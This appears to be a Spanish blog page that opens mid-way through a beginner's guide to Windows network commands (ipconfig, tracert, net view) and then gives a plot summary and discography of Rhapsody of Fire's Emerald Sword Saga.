Servidores DNS . . . . . . . . . .: 192.168.1.1



IPCONFIG/RELEASE

* Cuando nos conectamos a internet exporadicament e, por lo general hay un servidor que nos da la IP automaticament e, con el comando /release liberamos la IP que tenemos amarrada ahora mismo a la tarjeta de red, ejemplo.


Código:
Configuración IP de Windows


Adaptador Ethernet Conexión de área local :

Sufijo de conexión específica DNS :
Dirección IP. . . . . . . . . . . : 0.0.0.0
Máscara de subred . . . . . . . . : 0.0.0.0
Puerta de enlace predeterminada : 0.0.0.0

IPCONFIG/RENEW

* renew nos sirve para que la tarjeta de red vuelva a tomar una IP de las que designa el DHCP, esto nos sirve en un momento dado para cambiar de servidor DHCP si es que no nos gusta la configuracion que este nos da.

IPCONFIG/FLUSHDNS

* El SO guarda una cache de las paginas y de las dns amarradas a las IP, por eso es que aveces tecleamos www.google.com y nos muestra la pagina, pero en realidad no tenemos internet, entonces el comando FLUSHDNS es para borrar el cache DNS.

TRACERT
El comando tracert nos sirve para tracar una ruta de ip, con el fin de ver por cuales ISP y servidores pasa nuestro pedido para llegar a el destino, ejemplo:


Código:
C:\Documents and Settings\www.google.com

Traza a la dirección www.l.google.com [64.233.169.147]
sobre un máximo de 30 saltos:

1 2 ms 1 ms <1 ms 192.168.1.1
2 12 ms 14 ms 14 ms 10.0.3.24
3 * * * Tiempo de espera agotado para esta solicitud.
4 * * * Tiempo de espera agotado para esta solicitud.
5 12 ms 9 ms 14 ms 10.32.0.226
6 84 ms 81 ms 83 ms Google-GE4-3-6-0-grtwaseq2.red.telefonica-wholes
ale.net [213.140.52.142]
7 82 ms 75 ms 80 ms 209.85.130.16
8 93 ms 86 ms 83 ms 64.233.175.111
9 78 ms 83 ms 87 ms 216.239.49.145
10 79 ms 87 ms 84 ms yo-in-f147.google.com [64.233.169.147]

Traza completa.
el comando tracert es efectivo y muy indispensable si queremos saber en un momento dado si el pedido esta cogiendo por un enrutador que queremos o si una ISP tiene el ICMP (echo de ping) activado y ese tipo de cosas, notemos que hay algunas paginas o saltos que nos dice : "tiempo agotado para la solicitud" esto es por que las ISP o servidores lo bloquean por seguridad, podria ser para evitar ataques ddos con ping o otro tipo de cosas, pero igual la conexion pasa por hay.

NETVIEW
Este comando nos sirve para ver que equipos tenemos conectado ahora mismo a la red; algunos equipos que han estado inactivos, no responden a este comando por que el servidor dns o los pc, simplemente no tiene registro de el en su DB.

Hay mas comandos, pero no son tan aplicados como estos, y son para usos especificos, como por ejemplo comprobar si el servidor dns esta bien ... y cosas por el estilo, pero igual mas adelante ire editando este y colocandolos.

Emerald Sword Saga

viernes, 19 de noviembre de 2010

The Emerald Sword Saga es una historia de fantasía épica esparcida sobre cinco CDs por la banda italiana conocida como Rhapsody of Fire. El héroe de la historia es el Guerrero de Hielo (Warrior of Ice), un bravo y feroz guerrero, quien salió en busca de la legendaria Espada Esmeralda, con la cual le dará el poder para derrotar a Akron, el Señor Oscuro. En esta búsqueda el encuentra un gran número de seres, incluido a un príncipe y una princesa llamada Arwald y Airin, y al poderoso dragón Tharos. Cada nuevo capítulo de la historia es contado en un par de líneas de las letras de las canciones que viene con cada CD. La historia es contada por el anciano mago Aresius, quien "lo ve todo"

La historia está publicada en estos cinco CDs:

Legendary Tales

Legendary Tales (Historias Legendarias) es el principio de la historia. Aquí, los oyentes serán introducidos en la búsqueda del Guerrero de Hielo. El Guerrero está buscando la Espada Esmeralda, y viaja a la ciudad de Ancelot. Allí, el ve que la ciudad está en ruinas, y que las víctimas son incontables. La Princesa Airin ha sido capturada por las fuerzas de Akron, el Señor Oscuro, quien junto con otros de sus poderosos caballeros, escaparon a la ciudad de Hargor. Pero el Guerrero no conoce esto, y piensa que ha encontrado el cuerpo de Airin, y está muy triste por su muerte. Luego de un tiempo, el encuentra a la armada del Príncipe Arwald, quienes escaparon de la tragedia, y unen fuerzas. Juntos se encaminan al pueblo de Elnor, donde ellos comenzarán la búsqueda de las Tres Llaves de la Sabiduría, que podrá desbloquear el camino hacia la Espada Esmeralda. El Guerrero de Hielo, ancioso de venganza, no puede descansar hasta que hallan llegado a Elnor, y no espera lo que se vendrá...

Symphony of Enchanted Lands

El nombre de Symphony of Enchanted Lands (Sinfonía de las Tierras Encantadas) es la por la búsqueda de las Tres Llaves de la Sabiduría. Como fue presagiado en Legendary Tales, el Guerrero de Hielo debe vencer sus profundos miedos interiores en 'Mirror of Shadows' (Espejo de Sombras) para obtener la primera llave. Luego de esto, debe hacerle frente a Tharos, el dragón Siempre Vigilante, guardián de la segunda llave, quien estaba bajo un hechizo. El dragón es derrotado luego de una larga pelea, y el Guerrero tiene la oportunidad para destruirlo, pero no lo hace, liberando a Tharos de su hechizo. El Guerrero de Hielo y Tharos se vuelven aliados. El dragón lleva a su aliado en su espalda, y vuelan a un valle lejano, donde estaba el Altar de Ikaren. Allí, en la mística caverna, el encuentra la tercera llave. Cerca del altar había un pasaje oculto, que lo lleva a una gran habitación, donde el mago Aresius se encontraba, esperando la llegada del Elegido. Aresius les muestra las Puertas de Marfil, el umbral que lo lleva a una tierra maravillosa. El Guerrero de Hielo junto a su aliado Tharos entran a través de la puerta, y hacen un largo viaje a través de un hermoso valle y un desierto, para finalizar en un desierto desolado. De repente, unos fantasmas y muertos vivientes le salen al encuentro, viniendo de todos lados, y rápidamente encerrando al guerrero. Pero Tharos repara en su deber y rescata al Guerrero, y juntos vuelan lejos de ese Infierno. Es un hérmoso vuelo, hasta que el cielo se oscurece y todo se torna helado. Tharos le cuenta al guerrero que han llegado a la Fortaleza del Abismo, donde se dice que se hallaba escondida la Espada Esmeralda. Cuando ellos arriban a la fortaleza, varios demonios alados aparecen, haciendo la situación un poco más complicada. Tharos deja al Guerrero en la Torre más alta, mientras el pelea contra los demonios alados. El Guerrero abre una puerta trampa y penetra por ella a un gran salón... donde lo esperaba la Espada Esmeralda. El Guerrero de Hielo camina hacia la espada, y la toma. Pero entonces el guardián de la espada aparece, y cuando estaba cerca de matar al Guerrero, Tharos aparece rápidamente lanzándose el mismo contra el monstruo, dándole tiempo al Elegido de recobrarse y acestarle un golpe mortal al guardián. Velozmente, ambos amigos crean un camino para escapar, y vuelan lejos a un mundo más placentero. Una vez de vuelta en las Puertas de Marfíl, el Guerrero se da cuenta que Tharos estaba herido. Es una herida mortal, y Tharos morirá un poco de tiempo después. El Guerrero de Hielo está más furioso que nunca, y jura matar al Señor Oscuro Akron con sus propias manos.

Dawn of Victory

Dawn of Victory (Ocaso de la Victoria) es el punto de giro en las tragedias. La Espada Esmeralda está en manos del Guerrero de Hielo, y con esta arma legendaria, libera a Ancelot de su sitio, asediado por un nuevo personaje llamado Dargor. Dargor se retira de Ancelot y vuelve a Hargor. Mientras tanto, el Guerrero escucha de Arwarld que Airin y otros prisioneros están vivos. Mientras planean su rescate, reciben un mensaje de Akron diciendo que debían entrargarle la Espada Esmeralda, o matará a todos los prisioneros uno por uno. El Guerrero de Hielo y Arwald no tienen otra opción y se dirigen a Hargor. Akron, como todo Señor Oscuro, nunca dice la verdad, y cuando el Guerrero y Arwarld arriban a la ciudad, sus caballeros son asesinaods, y las fuerzas de Akron capturadan al Elegido y a Arwald. Airin no había sido asesinada hasta ese entonces. Pero no tardaría mucho, porque Akron tenía terribles planes para los tres heróes. La Princesa fue brutalmente violada por los Demonios enfrente de Akron, Arwal y el Guerrero de Hielo, mientras Dargor (que no era realmente una mala persona) trata de convencer a Akron que esa no es la manera apropiada de actuar. Esto no ayuda. Airin, con su último aliento, es sumergida en un contenedor de ácido. Arwald sufre el mismo destino, luego de ser torturado por terribles medios, y Dargor no puede aguantar esto y se marcha. Arwald, sin embargo, en su último momento de vida, tira un poco de ácido en la dirección del Guerrero de Hielo, y por milagro (¿ayuda de Dioses?) sus cadenas se rompen. El Elegido escapa lanzándose el mismo hacia un río subterráneo, conocido como Aigor, el cual lo conduce a salvo. Los demonios no pueden encontrarlo, y vuelve a la ciudad Sagrada de Algalord para reportar su tragedia. Akron ahora posee la Espada Esmeralda, y esto traería al mundo mucho dolor...

Rain of a Thousand Flames

En Rain of a Thousand Flames (Una lluvia de Miles de Llamas) la destrucción por las fuerzas de Akron es el tema principal. En todas las canciones, realizadas de un modo muy duro, algunas de un modo no melódico, los demonios describen sus actos.
Una lluvia de fuego se derrama sobre el ejército del Guerrero de Hielo.
La Reina de la los Horizontes Oscuros es resucitada.
Los Ritos de Sangre son llevado acabao, anunciado la venida de miles de demonios.
El pueblo de Elnor y Thorald son destruidos, y el Rey Eric de Elnor es muerto en batalla

Power of the Dragonflame

Power of the Dragonflame (Poder de la LlamaDragón) es la conclusión de la saga. El Elegido se ha retiro a la ciudad de Elgard, donde Aresius cura su mente acomplejada. A pesar de todas las pérdidas, el Guerrero es recibido como un Heróe, y viaja a través de la ciudad de Algalord para encontrarse con los Reyes sobrevivientes. Juntos, deciden que es ahora o nunca, y organizan un enorme ejército que detendrá las Fuerzas de Akron y la Reina de los Horizontes oscuros. Akron, ahora más poderoso que nunca gracias a la Espada Esmeralda, e incluso más poderoso gracias a que drena poder de la destrucción que llevan a cabo sus tropas, es invencible. La armada del Guerrero de Hielo es completamente derrotada, y ya se creen perdidos. Dargor, el Señor de las Sombras, reta al Elegido a un duelo final, y donde el Guerrero lo derrota. Sin embargo, Dargor no muere. El cae en unas rocas, y queda atrapado. El Guerrero ve el problema y ayuda a Dargor a liberarse. Dargor no entiende este acto de misericordia, y a causa de que él creía que el Guerrero de Hielo era maligno (Akron le contó que el Guerrero asesino a su familia), lo golpea con su espada. El Guerrero no esperaba esto de Dargor e incapaz de hablar con él, se cae, en gran medida por la hemorragia. Akron ya está listo para declarar la victoria total, y se ocupada de reducir a Algalord a escombros. El Guerrero de Hielo es tortura de nuevo, y esta vez Dargor no mira. Finalmente, el entiende que lo que Akron había dicho era falso, y se torna contra el Señor Oscuro. El golpea y mata a la Reina de los Horizontes Oscuros, criaturas de piedra místicas, y planea matar a Akron. Sin embargo, Akron le da una señal a un demonio, que arroja su arma en Dargor, hiriendo su hombro.Akron le dice a Dargor que había estado mucho tiempo esprando esta traición, y ahora todo parecía pérdido. Pero Gaia, la madre de Dargor y Diosa de la Tierra, le dio una última ráfaga de fuerza y golpea a Akron, arrojándolo a la plataforma donde se encontraba el Guerrero de Hielo, listo para ser devorado por las serpientes de agua. El Guerrero le gritó a Dargor a que bajara la plataforma donde estaba el Señor Oscuro, lo que hizo. El Guerrero de Hielo, entonces, logró arrebatarle la Espada Esmeralda al Señor Oscuro, y en su pelea final, ambos cayeron a los abismos, pero antes de ser devorado por las serpientes marinas, el Elegido atravesó al Rey Negro, y venció al Ser que tanto Mal había hecho. Y así fue como las hordas enemigas se debilitaron, y cayeron en la derrota, gracias a las fuerzas de Algalord y del Liderazgo de Dargor, quién trajo una nueva luz de esperanza con la venida de las Gárgolas. Sometieron a los demonios y los arrojaron a las profundidades del Infierno, y las Gárgolas permanecieron allí para custodiarlos. Algalord fue reconstruida más espléndida que nunca, y la Gárgola Mística se convirtió en el nuevo símbolo de la Ciudad. Y Dargor se fue, y volvería a ser visto más tarde... en la próxima saga...

DISCOGRAFIA DE RHAPSODY OF FIRE

1994

ThunderCross - Land of immortals



1-Invernal Fury
2-Warrior Of Ice
3-Land Of Immortals
4-Holy Wind

1995

Rhapsody - Eternal Glory

1-Invernal Fury
2-Warrior Of Ice
3-Tears At Nightfall
4-Alive and Proud
5-Land Of Immortals
6-Holy Wind
7-Eternal Glory

1997

Rhapsody - Legendary Tales

1-Ira Tenax
2-Warrior Of Ice
3-Rage Of The Winter
4-Forest Of Unicorns
5-Flames Of Revenge
6-Virgin Skies
7-Land Of Immortals
8-Echoes Of Tragedy
9-Lord Of The Thunder
10-Legendary Tales


1998

Rhapsody - Symphony Of Enchanted Lands


1-Epicus Furor
2-Emerald Sword
3-Wisdom Of The Kings
4-Heroes Of The Lost Valley
5-Eternal Glory
6-Beyond The Gates Of Infinity
7-Wings Of Destiny
8-The Dark Tower Of Abyss
9-Riding The Winds Of Eternity
10-Symphony Of Enchanted Lands



2000

Rhapsody - Dawn of Victory



1-Lux Triumphans
2-Dawn Of Victory
3-Triumph For My Magic Steel
4-The Village Of Dwarves
5-Dargor, Shadowlord Of The Black Mountain
6-The Bloody Rage Of The Titans
7-Holy Thunderforce
8-Trolls In The Dark
9-The Last Winged Unicorn
10-The Mighty Ride Of The Firelord

2001

Rhapsody - Rain of a Thousand Flames



1-Rain Of A Thousand Flames
2-Deadly Omen
3-Queen Of The Dark Horizons
4-Tears Of A Dying Angel
5-Elnor's Magic Valley
6-The Poem's Evil Page
7-The Wizard's Last Rhymes

2002

Rhapsody - Power of the Dragonflame



1-In Tenebris
2-Knightrider Of Doom
3-The Power Of The Dragonflame
4-The March Of The Swordmaster
5-When Demons Awake
6-Agony Is My Name
7-Lamento Eroico
8-Steelgods Of The Last Apocalypse
9-The Pride Of The Tyrant
10-Rise From The Sea Of Flames
11-Gargoyles, Angels Of Darkness


Rhapsody - The dark secret


1-Unholy Warcry
2-Thunder's Mighty Roar
3-Guardians Of Destiny
4-Sacred Power Of Raging Winds
5-Non Ho Sonno

Rhapsody - Symphony Of Enchanted Lands II - The Dark Secret


1-The Dark Secret - (Ira Divina)
2-Unholy Warcry
3-Never Forgotten Heroes
4-Elgard's Green Valleys
5-The Magic Of The Wizard's Dream
6-Erian's Mystical Rhymes - (The White Dragon‘s Order)
7-The Last Angels' Call
8-Dragonland's Rivers
9-Sacred Power Of Raging Winds
10-Guardiani Del Destino
11-Shadows Of Death
12-Nightfall Of The Grey Mountains

2006

Rhapsody of fire - Triumph Or Agony



1-Dar-Kunor
2-Triumph Or Agony
3-Heart Of The Darklands
4-Old Age Of Wonders
5-The Myth Of The Holy Sword
6-Il Canto Del Vento
7-Silent Dream
8-Bloody Red Dungeons
9-Son Of Pain
10-The Mystic Prophecy Of The Demonknight
11-Dark Reign Of Fire

(1997) Emerald Sword
y
(1997) Holy Thunderforce